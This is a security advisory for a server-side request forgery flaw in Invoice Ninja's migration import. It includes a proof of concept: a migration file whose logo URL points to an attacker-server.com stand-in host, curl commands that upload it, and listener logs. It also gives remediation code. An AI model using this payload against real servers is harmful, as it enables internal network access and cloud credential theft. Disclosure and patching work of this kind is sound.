Logo Invoice Ninja <= 5.12.38 SSRF

Invoice Ninja <= 5.12.38 SSRF

# Invoice Ninja SSRF Vulnerability Report


 

## Project
- **Name**: Invoice Ninja
- **Repository**: https://github.com/invoiceninja/invoiceninja
- **Version**: 5.12.38


 

## Title
Server-Side Request Forgery (SSRF) in Invoice Ninja Migration Import Feature


 

## Description
A Server-Side Request Forgery (SSRF) vulnerability exists in Invoice Ninja <= 5.12.38. The vulnerability is located in the `app/Jobs/Util/Import.php` file within the migration import functionality. The `company_logo` parameter from user-uploaded migration files is not properly validated before being passed to PHP's `copy()` function, allowing authenticated users to make the server send HTTP requests to arbitrary URLs, potentially accessing internal network services, cloud metadata endpoints (AWS/GCP/Azure), and extracting sensitive information including IAM credentials and internal API data.


 

## Affected Version
- Invoice Ninja <= 5.12.38


 

## Vulnerability Type
- CWE-918: Server-Side Request Forgery (SSRF)


 

## Severity
High


 

## Attack Vector
The attacker must be authenticated and have permission to use the migration import feature.


 

## Affected File
`app/Jobs/Util/Import.php`


 

## Vulnerable Code


 

```php
// Line 474-484
if (isset($data['settings']->company_logo) && strlen($data['settings']->company_logo) > 0) {
    try {
        $tempImage = tempnam(sys_get_temp_dir(), basename($data['settings']->company_logo));
        copy($data['settings']->company_logo, $tempImage);  // SSRF vulnerability here
        $this->uploadLogo($tempImage, $this->company, $this->company);
    } catch (\Exception $e) {
        $settings = $this->company->settings;
        $settings->company_logo = '';
        $this->company->settings = $settings;
        $this->company->save();
    }
}
```


 

## Root Cause Analysis


 

1. The `Import` job is triggered when a user uploads a migration file through the `/api/v1/migration/start` endpoint
2. The migration file is a ZIP archive containing JSON data with company settings
3. The `company_logo` field in the JSON can contain any URL
4. PHP's `copy()` function accepts URLs as the source parameter and will make HTTP requests to fetch the content
5. No validation is performed on the `company_logo` URL before passing it to `copy()`


 

## Proof of Concept


 

### Step 1: Create a malicious migration file


 

Create a JSON file (`migration.json`) with a malicious `company_logo` URL:


 

```json
{
  "data": {
    "company": {
      "settings": {
        "company_logo": "http://attacker-server.com/ssrf_test",
        "name": "SSRF Test Company",
        "invoice_design_id": 1
      }
    },
    "users": [],
    "clients": [],
    "invoices": [],
    "payments": [],
    "products": [],
    "tax_rates": [],
    "credits": [],
    "quotes": [],
    "recurring_invoices": []
  }
}
```


 

### Step 2: Package as migration ZIP


 

```bash
zip migration.zip migration.json
```


 

### Step 3: Login and get API token


 

```bash
TOKEN=$(curl -s -X POST "http://target.com/api/v1/login" \
  -H "Content-Type: application/json" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d '{"email":"user@example.com","password":"password"}' | jq -r '.data[0].token.token')
```


 

### Step 4: Send the migration request


 

```bash
COMPANY_JSON='[{"company_key": "test-key-12345", "company_index": "migration", "force": true}]'


 

curl -X POST "http://target.com/api/v1/migration/start?silent_migration=true" \
  -H "X-Api-Token: $TOKEN" \
  -H "X-Requested-With: XMLHttpRequest" \
  -F "companies=$COMPANY_JSON" \
  -F "migration=@migration.zip;type=application/zip"
```


 

### Step 5: Verify SSRF


 

The attacker-controlled server will receive a request from the Invoice Ninja server:


 

```
172.18.0.4 - - [22/Dec/2025 04:58:57] "GET /ssrf_test HTTP/1.1" 404 -
```


 

## Verified Test Results


 

The vulnerability was successfully verified on a local Docker environment:


 

```
[*] SSRF Listener logs:
ssrf_listener  | 172.18.0.4 - - [22/Dec/2025 04:58:57] code 404, message File not found
ssrf_listener  | 172.18.0.4 - - [22/Dec/2025 04:58:57] "GET /SSRF_SUCCESS_POC HTTP/1.1" 404 -
```


 

This confirms that the Invoice Ninja server (172.18.0.4) made an outbound HTTP request to the attacker-controlled URL.


 

## Impact


 

1. **Cloud Metadata Access**: Attackers can access cloud provider metadata endpoints to steal IAM credentials
2. **Internal Network Scanning**: Attackers can scan internal network services
3. **Internal Service Access**: Attackers can interact with internal services (Redis, databases, etc.)
4. **Data Exfiltration**: Sensitive data from internal services could be exfiltrated


 

## Remediation


 

### Option 1: URL Validation (Recommended)


 

Add strict URL validation before using the `company_logo` value:


 

```php
if (isset($data['settings']->company_logo) && strlen($data['settings']->company_logo) > 0) {
    $logoUrl = $data['settings']->company_logo;
    
    // Only allow HTTPS URLs
    if (!preg_match('/^https:\/\//i', $logoUrl)) {
        nlog('Invalid company_logo URL scheme');
        return;
    }
    
    // Parse the URL
    $parsedUrl = parse_url($logoUrl);
    if (!$parsedUrl || !isset($parsedUrl['host'])) {
        nlog('Invalid company_logo URL');
        return;
    }
    
    $host = $parsedUrl['host'];
    
    // Resolve hostname to IP
    $ip = gethostbyname($host);
    
    // Block private and reserved IP ranges
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        nlog('company_logo URL resolves to private/reserved IP');
        return;
    }
    
    // Block cloud metadata endpoints
    $blockedIps = ['169.254.169.254', '100.100.100.200', '192.0.0.192'];
    if (in_array($ip, $blockedIps)) {
        nlog('company_logo URL blocked - metadata endpoint');
        return;
    }
    
    try {
        $tempImage = tempnam(sys_get_temp_dir(), basename($logoUrl));
        copy($logoUrl, $tempImage);
        $this->uploadLogo($tempImage, $this->company, $this->company);
    } catch (\Exception $e) {
        // Handle error
    }
}
```


 

### Option 2: Disable URL in copy()


 

Modify `php.ini` to disable `allow_url_fopen`, but this may break other functionality.


 

### Option 3: Use cURL with restrictions


 

Replace `copy()` with a cURL-based solution that has timeout and redirect restrictions.


 

## Discoverer
gets


 

## References
- CWE-918: https://cwe.mitre.org/data/definitions/918.html
- OWASP SSRF: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery